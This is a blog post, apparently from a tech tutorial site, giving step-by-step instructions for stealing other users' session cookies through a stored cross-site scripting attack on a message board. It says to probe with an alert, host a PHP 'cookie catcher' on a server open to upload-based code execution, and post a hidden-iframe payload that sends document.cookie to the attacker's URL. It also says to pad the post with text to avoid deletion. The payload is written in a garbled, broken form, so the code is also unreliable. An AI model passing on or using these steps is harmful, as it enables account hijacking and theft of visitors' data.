Find a website that is vulnerable and post content there. A good illustration is a message board. Keep in mind that this won't work if the website isn't vulnerable to a cross-site scripting attack.
Proceed to make a post. To collect the information of all people who click on the "post," you will need to insert some special code.
You should test to see if the system keeps code out. Post window.alert("test") If an alert box appears when you click on your post, the site is at risk of being attacked.
Make your cookie catcher and upload it. This attack aims to steal a user's cookies, giving you access to their account on websites with weak logins. A cookie catcher is necessary because it will redirect the cookies of your target. Upload the catcher to a website that supports PHP and is susceptible to upload-based remote code execution. The sample section contains a code sample for a cookie catcher.
Send a message with your cookie catcher. Insert the appropriate code into the post to collect the cookies and deliver them to your website. In order to prevent your post from being deleted and reduce suspicion, you should include some text after the code.
Iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher" is an example of the code. Utilize the cookies that have been collected. PHP?c=' document.cookie)>/iframe> After this, the cookie data, which should be saved to your website, can be used for whatever you want.
0 Response to "How To Hack A Website Using Cross-Site Scripting"
Post a Comment
What do you have to say about this post? Kindly drop your comment here!
Are you finding it difficult to comment? Please read: 3 Easy Steps To Comment on Techpaded
Note: only a member of this blog may post a comment.